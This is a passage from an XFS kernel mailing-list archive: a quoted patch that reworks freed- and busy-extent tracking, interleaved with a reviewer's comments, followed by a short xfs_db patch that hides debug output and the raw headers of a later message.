+xfs_freed_extent_alloc( > + xfs_agnumber_t agno, > + xfs_agblock_t bno, > + xfs_extlen_t len, > + unsigned int flags) > +{ > + struct xfs_freed_extent *new; > + > + new = kmem_zone_zalloc(xfs_freed_extent_zone, KM_SLEEP); > + if (!new) > + return NULL; > + > + new->agno = agno; > + new->bno = bno; > + new->length = len; > + INIT_LIST_HEAD(&new->list); > + new->flags = flags; > + return new; > +} > + > +int > +__xfs_free_extent( > + struct xfs_trans *tp, > + struct xfs_freed_extent *free) > { > xfs_alloc_arg_t args; > int error; > > - ASSERT(len != 0); > + ASSERT(free->length != 0); > memset(&args, 0, sizeof(xfs_alloc_arg_t)); > args.tp = tp; > args.mp = tp->t_mountp; > - > - /* > - * validate that the block number is legal - the enables us to detect > - * and handle a silent filesystem corruption rather than crashing. > - */ > - args.agno = XFS_FSB_TO_AGNO(args.mp, bno); > - if (args.agno >= args.mp->m_sb.sb_agcount) > - return EFSCORRUPTED; > - > - args.agbno = XFS_FSB_TO_AGBNO(args.mp, bno); > - if (args.agbno >= args.mp->m_sb.sb_agblocks) > - return EFSCORRUPTED; > - > + args.agno = free->agno; > + args.agbno = free->bno; > args.pag = xfs_perag_get(args.mp, args.agno); > ASSERT(args.pag); > > @@ -2618,16 +2622,45 @@ xfs_free_extent( > goto error0; > > /* validate the extent size is legal now we have the agf locked */ > - if (args.agbno + len > > + if (args.agbno + free->length > > be32_to_cpu(XFS_BUF_TO_AGF(args.agbp)->agf_length)) { > error = EFSCORRUPTED; > goto error0; > } > > - error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); > - if (!error) > - xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); > + error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, > + free->length, 0); > error0: > xfs_perag_put(args.pag); > return error; > } > + > +int > +xfs_free_extent( > + struct xfs_trans *tp, > + xfs_fsblock_t bno, > + xfs_extlen_t len) > +{ > + struct xfs_mount *mp = tp->t_mountp; > + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, bno); > + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, bno); > + struct xfs_freed_extent *free; > + int error; > + > + /* > + * validate that the block number is legal - the enables us to detect > + * and handle a silent filesystem corruption rather than crashing. > + */ > + if (agno >= mp->m_sb.sb_agcount) > + return EFSCORRUPTED; > + if (agbno >= mp->m_sb.sb_agblocks) > + return EFSCORRUPTED; > + > + free = xfs_freed_extent_alloc(agno, agbno, len, 0); > + error = __xfs_free_extent(tp, free); > + if (!error) { > + xfs_extent_busy_insert(tp, free); > + list_add(&free->list, &tp->t_busy); If I follow correctly, the list_add() is removed from xfs_extent_busy_insert() because we use the list field for the bmap flist as well as the t_busy list. It appears we've lost an error check associated with allocation failure in xfs_freed_extent_alloc() (here and at other callers). The current code looks like it handles this by marking the transaction as synchronous. Have we avoided the need for this by using kmem_zone_alloc()? I guess it looks like the sleep param will cause it to continue to retry... > + } > + return error; > +} > diff --git a/fs/xfs/xfs_alloc.h b/fs/xfs/xfs_alloc.h > index feacb06..4aa7f8c 100644 > --- a/fs/xfs/xfs_alloc.h > +++ b/fs/xfs/xfs_alloc.h > @@ -122,6 +122,17 @@ typedef struct xfs_alloc_arg { > xfs_fsblock_t firstblock; /* io first block allocated */ > } xfs_alloc_arg_t; > > +struct xfs_freed_extent { > + struct rb_node rb_node; /* ag by-bno indexed search tree */ > + struct list_head list; /* transaction busy extent list */ > + xfs_agnumber_t agno; > + xfs_agblock_t bno; agbno? > + xfs_extlen_t length; > + unsigned int flags; > +#define XFS_EXTENT_DISCARDED 0x01 /* undergoing a discard op. */ > +#define XFS_EXTENT_SKIP_DISCARD 0x02 /* do not discard */ > +}; > + > /* > * Defines for userdata > */ > @@ -210,6 +221,11 @@ xfs_free_extent( > xfs_fsblock_t bno, /* starting block number of extent */ > xfs_extlen_t len); /* length of extent */ > > +int > +__xfs_free_extent( > + struct xfs_trans *tp, > + struct xfs_freed_extent *free); > + > int /* error */ > xfs_alloc_lookup_le( > struct xfs_btree_cur *cur, /* btree cursor */ > @@ -231,4 +247,13 @@ xfs_alloc_get_rec( > xfs_extlen_t *len, /* output: length of extent */ > int *stat); /* output: success/failure */ > > +struct xfs_freed_extent * > +xfs_freed_extent_alloc( > + xfs_agnumber_t agno, > + xfs_agblock_t bno, > + xfs_extlen_t len, > + unsigned int flags); > + > +extern kmem_zone_t *xfs_freed_extent_zone; > + > #endif /* __XFS_ALLOC_H__ */ > diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c > index cc1eadc..ce3041a 100644 > --- a/fs/xfs/xfs_alloc_btree.c > +++ b/fs/xfs/xfs_alloc_btree.c > @@ -107,21 +107,24 @@ xfs_allocbt_free_block( > struct xfs_btree_cur *cur, > struct xfs_buf *bp) > { > + struct xfs_trans *tp = cur->bc_tp; > struct xfs_buf *agbp = cur->bc_private.a.agbp; > struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); > + struct xfs_freed_extent *free; > xfs_agblock_t bno; > int error; > > bno = xfs_daddr_to_agbno(cur->bc_mp, XFS_BUF_ADDR(bp)); > - error = xfs_alloc_put_freelist(cur->bc_tp, agbp, NULL, bno, 1); > + error = xfs_alloc_put_freelist(tp, agbp, NULL, bno, 1); > if (error) > return error; > > - xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, > - XFS_EXTENT_BUSY_SKIP_DISCARD); > - xfs_trans_agbtree_delta(cur->bc_tp, -1); Was this supposed to go away? > + free = xfs_freed_extent_alloc(be32_to_cpu(agf->agf_seqno), bno, 1, > + XFS_EXTENT_SKIP_DISCARD); > + xfs_extent_busy_insert(tp, free); > + list_add(&free->list, &tp->t_busy); > > - xfs_trans_binval(cur->bc_tp, bp); > + xfs_trans_binval(tp, bp); > return 0; > } > > diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c > index 5b6092e..9c2c00c 100644 > --- a/fs/xfs/xfs_bmap.c > +++ b/fs/xfs/xfs_bmap.c > @@ -50,7 +50,7 @@ > #include "xfs_filestream.h" > > > -kmem_zone_t *xfs_bmap_free_item_zone; > +kmem_zone_t *xfs_freed_extent_zone; > > /* > * Miscellaneous helper functions > @@ -588,10 +588,6 @@ xfs_bmap_validate_ret( > #endif /* DEBUG */ > > /* > - * bmap free list manipulation functions > - */ > - > -/* > * Add the extent to the list of extents to be free at transaction end. > * The list is maintained sorted (by block number). > */ This comment could be fixed now that the sort is deferred. > @@ -602,58 +598,22 @@ xfs_bmap_add_free( > xfs_bmap_free_t *flist, /* list of extents */ > xfs_mount_t *mp) /* mount point structure */ > { > - xfs_bmap_free_item_t *cur; /* current (next) element */ > - xfs_bmap_free_item_t *new; /* new element */ > - xfs_bmap_free_item_t *prev; /* previous element */ > -#ifdef DEBUG > - xfs_agnumber_t agno; > - xfs_agblock_t agbno; > + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, bno); > + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, bno); > + struct xfs_freed_extent *new; > > ASSERT(bno != NULLFSBLOCK); > ASSERT(len > 0); > ASSERT(len <= MAXEXTLEN); > ASSERT(!isnullstartblock(bno)); > - agno = XFS_FSB_TO_AGNO(mp, bno); > - agbno = XFS_FSB_TO_AGBNO(mp, bno); > ASSERT(agno < mp->m_sb.sb_agcount); > ASSERT(agbno < mp->m_sb.sb_agblocks); > ASSERT(len < mp->m_sb.sb_agblocks); > ASSERT(agbno + len <= mp->m_sb.sb_agblocks); > -#endif > - ASSERT(xfs_bmap_free_item_zone != NULL); > - new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); > - new->xbfi_startblock = bno; > - new->xbfi_blockcount = (xfs_extlen_t)len; > - for (prev = NULL, cur = flist->xbf_first; > - cur != NULL; > - prev = cur, cur = cur->xbfi_next) { > - if (cur->xbfi_startblock >= bno) > - break; > - } > - if (prev) > - prev->xbfi_next = new; > - else > - flist->xbf_first = new; > - new->xbfi_next = cur; > - flist->xbf_count++; > -} > > -/* > - * Remove the entry "free" from the free item list. Prev points to the > - * previous entry, unless "free" is the head of the list. > - */ > -void > -xfs_bmap_del_free( > - xfs_bmap_free_t *flist, /* free item list header */ > - xfs_bmap_free_item_t *prev, /* previous item on list, if any */ > - xfs_bmap_free_item_t *free) /* list item to be freed */ > -{ > - if (prev) > - prev->xbfi_next = free->xbfi_next; > - else > - flist->xbf_first = free->xbfi_next; > - flist->xbf_count--; > - kmem_zone_free(xfs_bmap_free_item_zone, free); > + new = xfs_freed_extent_alloc(agno, agbno, len, 0); > + list_add_tail(&new->list, &flist->xbf_list); > + flist->xbf_count++; > } > > /* > @@ -663,16 +623,14 @@ void > xfs_bmap_cancel( > xfs_bmap_free_t *flist) /* list of bmap_free_items */ > { > - xfs_bmap_free_item_t *free; /* free list item */ > - xfs_bmap_free_item_t *next; > + struct xfs_freed_extent *free, *n; > > - if (flist->xbf_count == 0) > - return; > - ASSERT(flist->xbf_first != NULL); > - for (free = flist->xbf_first; free; free = next) { > - next = free->xbfi_next; > - xfs_bmap_del_free(flist, NULL, free); > + list_for_each_entry_safe(free, n, &flist->xbf_list, list) { > + list_del(&free->list); > + flist->xbf_count--; > + kmem_zone_free(xfs_freed_extent_zone, free); > } > + > ASSERT(flist->xbf_count == 0); > } > > diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h > index f84bd7a..73cedc4 100644 > --- a/fs/xfs/xfs_bmap.h > +++ b/fs/xfs/xfs_bmap.h > @@ -25,19 +25,6 @@ struct xfs_inode; > struct xfs_mount; > struct xfs_trans; > > -extern kmem_zone_t *xfs_bmap_free_item_zone; > - > -/* > - * List of extents to be free "later". > - * The list is kept sorted on xbf_startblock. > - */ > -typedef struct xfs_bmap_free_item > -{ > - xfs_fsblock_t xbfi_startblock;/* starting fs block number */ > - xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ > - struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ > -} xfs_bmap_free_item_t; > - > /* > * Header for free extent list. > * > @@ -52,9 +39,8 @@ typedef struct xfs_bmap_free_item > * transaction reservations have been made then this algorithm will eventually > * find all the space it needs. > */ > -typedef struct xfs_bmap_free > -{ > - xfs_bmap_free_item_t *xbf_first; /* list of to-be-free extents */ > +typedef struct xfs_bmap_free { > + struct list_head xbf_list; > int xbf_count; /* count of items on list */ > int xbf_low; /* alloc in low mode */ > } xfs_bmap_free_t; > @@ -103,8 +89,10 @@ static inline int xfs_bmapi_aflag(int w) > > static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) > { > - ((flp)->xbf_first = NULL, (flp)->xbf_count = 0, \ > - (flp)->xbf_low = 0, *(fbp) = NULLFSBLOCK); > + INIT_LIST_HEAD(&flp->xbf_list); > + flp->xbf_count = 0; > + flp->xbf_low = 0; > + *fbp = NULLFSBLOCK; > } > > /* > diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c > index 01f6a64..ade325f 100644 > --- a/fs/xfs/xfs_bmap_util.c > +++ b/fs/xfs/xfs_bmap_util.c > @@ -59,6 +59,22 @@ xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) > XFS_FSB_TO_DADDR((ip)->i_mount, (fsb))); > } > > +STATIC int > +xfs_freed_extent_cmp( > + void *priv, > + struct list_head *la, > + struct list_head *lb) > +{ > + struct xfs_freed_extent *a = > + container_of(la, struct xfs_freed_extent, list); > + struct xfs_freed_extent *b = > + container_of(lb, struct xfs_freed_extent, list); > + > + if (a->agno == b->agno) > + return a->bno - b->bno; Could we just do a comparison here and return +/-1? > + return a->agno - b->agno; > +} > + > /* > * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi > * caller. Frees all the extents that need freeing, which must be done > @@ -74,13 +90,12 @@ xfs_bmap_finish( > xfs_bmap_free_t *flist, /* i/o: list extents to free */ > int *committed) /* xact committed or not */ > { > + struct xfs_mount *mp = (*tp)->t_mountp; > + struct xfs_freed_extent *free; > xfs_efd_log_item_t *efd; /* extent free data */ > xfs_efi_log_item_t *efi; /* extent free intention */ > int error; /* error return value */ > - xfs_bmap_free_item_t *free; /* free extent item */ > struct xfs_trans_res tres; /* new log reservation */ > - xfs_mount_t *mp; /* filesystem mount structure */ > - xfs_bmap_free_item_t *next; /* next item on free list */ > xfs_trans_t *ntp; /* new transaction pointer */ > > ASSERT((*tp)->t_flags & XFS_TRANS_PERM_LOG_RES); > @@ -90,9 +105,14 @@ xfs_bmap_finish( > } > ntp = *tp; > efi = xfs_trans_get_efi(ntp, flist->xbf_count); > - for (free = flist->xbf_first; free; free = free->xbfi_next) > - xfs_trans_log_efi_extent(ntp, efi, free->xbfi_startblock, > - free->xbfi_blockcount); > + > + list_sort(NULL, &flist->xbf_list, xfs_freed_extent_cmp); > + > + list_for_each_entry(free, &flist->xbf_list, list) { > + xfs_trans_log_efi_extent(ntp, efi, > + XFS_AGB_TO_FSB(mp, free->agno, free->bno), > + free->length); > + } > > tres.tr_logres = ntp->t_log_res; > tres.tr_logcount = ntp->t_log_count; > @@ -118,10 +138,10 @@ xfs_bmap_finish( > if (error) > return error; > efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); > - for (free = flist->xbf_first; free != NULL; free = next) { > - next = free->xbfi_next; > - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, > - free->xbfi_blockcount))) { > + > + list_for_each_entry(free, &flist->xbf_list, list) { > + error = __xfs_free_extent(ntp, free); > + if (error) { > /* > * The bmap free list will be cleaned up at a > * higher level. The EFI will be canceled when So it seems like technically we could get away with still doing the list migration here an extent at a time, but that would turn this code kind of ugly (e.g., to remove each entry from xbf_list as we go). Also, it appears we no longer do the xfs_extent_busy_insert() in this path..? > @@ -130,7 +150,6 @@ xfs_bmap_finish( > * happens, since this transaction may not be > * dirty yet. > */ > - mp = ntp->t_mountp; > if (!XFS_FORCED_SHUTDOWN(mp)) > xfs_force_shutdown(mp, > (error == EFSCORRUPTED) ? > @@ -138,10 +157,13 @@ xfs_bmap_finish( > SHUTDOWN_META_IO_ERROR); > return error; > } > - xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, > - free->xbfi_blockcount); > - xfs_bmap_del_free(flist, NULL, free); > + > + xfs_trans_log_efd_extent(ntp, efd, > + XFS_AGB_TO_FSB(mp, free->agno, free->bno), > + free->length); > } > + > + list_splice_init(&flist->xbf_list, &ntp->t_busy); > return 0; > } > > @@ -826,7 +848,7 @@ xfs_bmap_punch_delalloc_range( > if (error) > break; > > - ASSERT(!flist.xbf_count && !flist.xbf_first); > + ASSERT(!flist.xbf_count && list_empty(&flist.xbf_list)); > next_block: > start_fsb++; > remaining--; > diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h > index 935ed2b..ffb26ea 100644 > --- a/fs/xfs/xfs_bmap_util.h > +++ b/fs/xfs/xfs_bmap_util.h > @@ -21,7 +21,6 @@ > /* Kernel only BMAP related definitions and functions */ > > struct xfs_bmbt_irec; > -struct xfs_bmap_free_item; > struct xfs_ifork; > struct xfs_inode; > struct xfs_mount; > @@ -80,9 +79,6 @@ int xfs_getbmap(struct xfs_inode *ip, struct getbmapx *bmv, > xfs_bmap_format_t formatter, void *arg); > > /* functions in xfs_bmap.c that are only needed by xfs_bmap_util.c */ > -void xfs_bmap_del_free(struct xfs_bmap_free *flist, > - struct xfs_bmap_free_item *prev, > - struct xfs_bmap_free_item *free); > int xfs_bmap_extsize_align(struct xfs_mount *mp, struct xfs_bmbt_irec *gotp, > struct xfs_bmbt_irec *prevp, xfs_extlen_t extsz, > int rt, int eof, int delay, int convert, > diff --git a/fs/xfs/xfs_discard.c b/fs/xfs/xfs_discard.c > index 4f11ef0..e3d0f18 100644 > --- a/fs/xfs/xfs_discard.c > +++ b/fs/xfs/xfs_discard.c > @@ -215,7 +215,7 @@ xfs_discard_extents( > struct xfs_mount *mp, > struct list_head *list) > { > - struct xfs_extent_busy *busyp; > + struct xfs_freed_extent *busyp; > int error = 0; > > list_for_each_entry(busyp, list, list) { > diff --git a/fs/xfs/xfs_extent_busy.c b/fs/xfs/xfs_extent_busy.c > index fd22f69..f4711ee 100644 > --- a/fs/xfs/xfs_extent_busy.c > +++ b/fs/xfs/xfs_extent_busy.c > @@ -35,51 +35,29 @@ > void > xfs_extent_busy_insert( > struct xfs_trans *tp, > - xfs_agnumber_t agno, > - xfs_agblock_t bno, > - xfs_extlen_t len, > - unsigned int flags) > + struct xfs_freed_extent *new) > { tp is only used for the mount now, so we can probably replace tp with mp. Brian > - struct xfs_extent_busy *new; > - struct xfs_extent_busy *busyp; > + struct xfs_freed_extent *busyp; > struct xfs_perag *pag; > struct rb_node **rbp; > struct rb_node *parent = NULL; > > - new = kmem_zalloc(sizeof(struct xfs_extent_busy), KM_MAYFAIL); > - if (!new) { > - /* > - * No Memory! Since it is now not possible to track the free > - * block, make this a synchronous transaction to insure that > - * the block is not reused before this transaction commits. > - */ > - trace_xfs_extent_busy_enomem(tp->t_mountp, agno, bno, len); > - xfs_trans_set_sync(tp); > - return; > - } > - > - new->agno = agno; > - new->bno = bno; > - new->length = len; > - INIT_LIST_HEAD(&new->list); > - new->flags = flags; > - > /* trace before insert to be able to see failed inserts */ > - trace_xfs_extent_busy(tp->t_mountp, agno, bno, len); > + trace_xfs_extent_busy(tp->t_mountp, new->agno, new->bno, new->length); > > pag = xfs_perag_get(tp->t_mountp, new->agno); > spin_lock(&pag->pagb_lock); > rbp = &pag->pagb_tree.rb_node; > while (*rbp) { > parent = *rbp; > - busyp = rb_entry(parent, struct xfs_extent_busy, rb_node); > + busyp = rb_entry(parent, struct xfs_freed_extent, rb_node); > > if (new->bno < busyp->bno) { > rbp = &(*rbp)->rb_left; > ASSERT(new->bno + new->length <= busyp->bno); > } else if (new->bno > busyp->bno) { > rbp = &(*rbp)->rb_right; > - ASSERT(bno >= busyp->bno + busyp->length); > + ASSERT(new->bno >= busyp->bno + busyp->length); > } else { > ASSERT(0); > } > @@ -88,7 +66,6 @@ xfs_extent_busy_insert( > rb_link_node(&new->rb_node, parent, rbp); > rb_insert_color(&new->rb_node, &pag->pagb_tree); > > - list_add(&new->list, &tp->t_busy); > spin_unlock(&pag->pagb_lock); > xfs_perag_put(pag); > } > @@ -111,7 +88,7 @@ xfs_extent_busy_search( > { > struct xfs_perag *pag; > struct rb_node *rbp; > - struct xfs_extent_busy *busyp; > + struct xfs_freed_extent *busyp; > int match = 0; > > pag = xfs_perag_get(mp, agno); > @@ -121,7 +98,7 @@ xfs_extent_busy_search( > > /* find closest start bno overlap */ > while (rbp) { > - busyp = rb_entry(rbp, struct xfs_extent_busy, rb_node); > + busyp = rb_entry(rbp, struct xfs_freed_extent, rb_node); > if (bno < busyp->bno) { > /* may overlap, but exact start block is lower */ > if (bno + len > busyp->bno) > @@ -158,7 +135,7 @@ STATIC bool > xfs_extent_busy_update_extent( > struct xfs_mount *mp, > struct xfs_perag *pag, > - struct xfs_extent_busy *busyp, > + struct xfs_freed_extent *busyp, > xfs_agblock_t fbno, > xfs_extlen_t flen, > bool userdata) __releases(&pag->pagb_lock) > @@ -173,7 +150,7 @@ xfs_extent_busy_update_extent( > * performing the discard a chance to mark the extent unbusy > * and retry. > */ > - if (busyp->flags & XFS_EXTENT_BUSY_DISCARDED) { > + if (busyp->flags & XFS_EXTENT_DISCARDED) { > spin_unlock(&pag->pagb_lock); > delay(1); > spin_lock(&pag->pagb_lock); > @@ -320,8 +297,8 @@ xfs_extent_busy_reuse( > restart: > rbp = pag->pagb_tree.rb_node; > while (rbp) { > - struct xfs_extent_busy *busyp = > - rb_entry(rbp, struct xfs_extent_busy, rb_node); > + struct xfs_freed_extent *busyp = > + rb_entry(rbp, struct xfs_freed_extent, rb_node); > xfs_agblock_t bbno = busyp->bno; > xfs_agblock_t bend = bbno + busyp->length; > > @@ -367,8 +344,8 @@ restart: > flen = len; > rbp = args->pag->pagb_tree.rb_node; > while (rbp && flen >= args->minlen) { > - struct xfs_extent_busy *busyp = > - rb_entry(rbp, struct xfs_extent_busy, rb_node); > + struct xfs_freed_extent *busyp = > + rb_entry(rbp, struct xfs_freed_extent, rb_node); > xfs_agblock_t fend = fbno + flen; > xfs_agblock_t bbno = busyp->bno; > xfs_agblock_t bend = bbno + busyp->length; > @@ -386,7 +363,7 @@ restart: > * extent instead of trimming the allocation. > */ > if (!args->userdata && > - !(busyp->flags & XFS_EXTENT_BUSY_DISCARDED)) { > + !(busyp->flags & XFS_EXTENT_DISCARDED)) { > if (!xfs_extent_busy_update_extent(args->mp, args->pag, > busyp, fbno, flen, > false)) > @@ -540,7 +517,7 @@ STATIC void > xfs_extent_busy_clear_one( > struct xfs_mount *mp, > struct xfs_perag *pag, > - struct xfs_extent_busy *busyp) > + struct xfs_freed_extent *busyp) > { > if (busyp->length) { > trace_xfs_extent_busy_clear(mp, busyp->agno, busyp->bno, > @@ -549,7 +526,7 @@ xfs_extent_busy_clear_one( > } > > list_del_init(&busyp->list); > - kmem_free(busyp); > + kmem_zone_free(xfs_freed_extent_zone, busyp); > } > > /* > @@ -563,7 +540,7 @@ xfs_extent_busy_clear( > struct list_head *list, > bool do_discard) > { > - struct xfs_extent_busy *busyp, *n; > + struct xfs_freed_extent *busyp, *n; > struct xfs_perag *pag = NULL; > xfs_agnumber_t agno = NULLAGNUMBER; > > @@ -579,8 +556,8 @@ xfs_extent_busy_clear( > } > > if (do_discard && busyp->length && > - !(busyp->flags & XFS_EXTENT_BUSY_SKIP_DISCARD)) > - busyp->flags = XFS_EXTENT_BUSY_DISCARDED; > + !(busyp->flags & XFS_EXTENT_SKIP_DISCARD)) > + busyp->flags = XFS_EXTENT_DISCARDED; > else > xfs_extent_busy_clear_one(mp, pag, busyp); > } > @@ -600,6 +577,6 @@ xfs_extent_busy_ag_cmp( > struct list_head *a, > struct list_head *b) > { > - return container_of(a, struct xfs_extent_busy, list)->agno - > - container_of(b, struct xfs_extent_busy, list)->agno; > + return container_of(a, struct xfs_freed_extent, list)->agno - > + container_of(b, struct xfs_freed_extent, list)->agno; > } > diff --git a/fs/xfs/xfs_extent_busy.h b/fs/xfs/xfs_extent_busy.h > index bfff284..ccc8a13 100644 > --- a/fs/xfs/xfs_extent_busy.h > +++ b/fs/xfs/xfs_extent_busy.h > @@ -20,31 +20,13 @@ > #ifndef __XFS_EXTENT_BUSY_H__ > #define __XFS_EXTENT_BUSY_H__ > > +struct xfs_freed_extent; > struct xfs_mount; > struct xfs_trans; > struct xfs_alloc_arg; > > -/* > - * Busy block/extent entry. Indexed by a rbtree in perag to mark blocks that > - * have been freed but whose transactions aren't committed to disk yet. > - * > - * Note that we use the transaction ID to record the transaction, not the > - * transaction structure itself. See xfs_extent_busy_insert() for details. > - */ > -struct xfs_extent_busy { > - struct rb_node rb_node; /* ag by-bno indexed search tree */ > - struct list_head list; /* transaction busy extent list */ > - xfs_agnumber_t agno; > - xfs_agblock_t bno; > - xfs_extlen_t length; > - unsigned int flags; > -#define XFS_EXTENT_BUSY_DISCARDED 0x01 /* undergoing a discard op. */ > -#define XFS_EXTENT_BUSY_SKIP_DISCARD 0x02 /* do not discard */ > -}; > - > void > -xfs_extent_busy_insert(struct xfs_trans *tp, xfs_agnumber_t agno, > - xfs_agblock_t bno, xfs_extlen_t len, unsigned int flags); > +xfs_extent_busy_insert(struct xfs_trans *tp, struct xfs_freed_extent *free); > > void > xfs_extent_busy_clear(struct xfs_mount *mp, struct list_head *list, > diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c > index f317488..a674664 100644 > --- a/fs/xfs/xfs_super.c > +++ b/fs/xfs/xfs_super.c > @@ -1581,15 +1581,15 @@ xfs_init_zones(void) > if (!xfs_log_ticket_zone) > goto out_destroy_ioend_pool; > > - xfs_bmap_free_item_zone = kmem_zone_init(sizeof(xfs_bmap_free_item_t), > - "xfs_bmap_free_item"); > - if (!xfs_bmap_free_item_zone) > + xfs_freed_extent_zone = kmem_zone_init(sizeof(struct xfs_freed_extent), > + "xfs_freed_extent"); > + if (!xfs_freed_extent_zone) > goto out_destroy_log_ticket_zone; > > xfs_btree_cur_zone = kmem_zone_init(sizeof(xfs_btree_cur_t), > "xfs_btree_cur"); > if (!xfs_btree_cur_zone) > - goto out_destroy_bmap_free_item_zone; > + goto out_destroy_freed_extent_zone; > > xfs_da_state_zone = kmem_zone_init(sizeof(xfs_da_state_t), > "xfs_da_state"); > @@ -1671,8 +1671,8 @@ xfs_init_zones(void) > kmem_zone_destroy(xfs_da_state_zone); > out_destroy_btree_cur_zone: > kmem_zone_destroy(xfs_btree_cur_zone); > - out_destroy_bmap_free_item_zone: > - kmem_zone_destroy(xfs_bmap_free_item_zone); > + out_destroy_freed_extent_zone: > + kmem_zone_destroy(xfs_freed_extent_zone); > out_destroy_log_ticket_zone: > kmem_zone_destroy(xfs_log_ticket_zone); > out_destroy_ioend_pool: > @@ -1702,7 +1702,7 @@ xfs_destroy_zones(void) > kmem_zone_destroy(xfs_ifork_zone); > kmem_zone_destroy(xfs_da_state_zone); > kmem_zone_destroy(xfs_btree_cur_zone); > - kmem_zone_destroy(xfs_bmap_free_item_zone); > + kmem_zone_destroy(xfs_freed_extent_zone); > kmem_zone_destroy(xfs_log_ticket_zone); > mempool_destroy(xfs_ioend_pool); > kmem_zone_destroy(xfs_ioend_zone); > diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h > index a4ae41c..2dfe819 100644 > --- a/fs/xfs/xfs_trace.h > +++ b/fs/xfs/xfs_trace.h > @@ -1313,7 +1313,6 @@ DEFINE_EVENT(xfs_extent_busy_class, name, \ > xfs_agblock_t agbno, xfs_extlen_t len), \ > TP_ARGS(mp, agno, agbno, len)) > DEFINE_BUSY_EVENT(xfs_extent_busy); > -DEFINE_BUSY_EVENT(xfs_extent_busy_enomem); > DEFINE_BUSY_EVENT(xfs_extent_busy_force); > DEFINE_BUSY_EVENT(xfs_extent_busy_reuse); > DEFINE_BUSY_EVENT(xfs_extent_busy_clear); > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Tue Mar 11 11:04:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 31EB07F3F for ; Tue, 11 Mar 2014 11:04:13 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id CE1BFAC001 for ; Tue, 11 Mar 2014 09:04:09 -0700 (PDT) X-ASG-Debug-ID: 1394553847-04bdf05daa480850001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 7FhIwAzAFT7intLV for ; Tue, 11 Mar 2014 09:04:08 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (nat-pool-rdu-u.redhat.com [66.187.233.203]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 19E1B60F22FE for ; Tue, 11 Mar 2014 11:04:06 -0500 (CDT) Message-ID: <531F33F4.40707@sandeen.net> Date: Tue, 11 Mar 2014 11:04:04 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs_db: hide debug bbmap output X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs_db: hide debug bbmap output Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1394553847 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3791 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Most of xfsprogs building with DEBUG enables extra checks, asserts, etc, but this bunch of printfs was extra output that's not generally helpful for most people's runtime experience - and it breaks xfs/290 with all the noise. I assume it's for actual debugging use, and not generally useful, so bury it a bit deeper under it's own #ifdef. Signed-off-by: Eric Sandeen --- diff --git a/db/io.c b/db/io.c index 9a787c8..89e6030 100644 --- a/db/io.c +++ b/db/io.c @@ -500,7 +500,7 @@ set_cur( push_cur(); if (bbmap) { -#ifdef DEBUG +#ifdef DEBUG_BBMAP int i; printf(_("xfs_db got a bbmap for %lld\n"), (long long)d); printf(_("\tblock map")); From BATV+cf6728afac61ef48644d+3852+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 11 11:48:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: 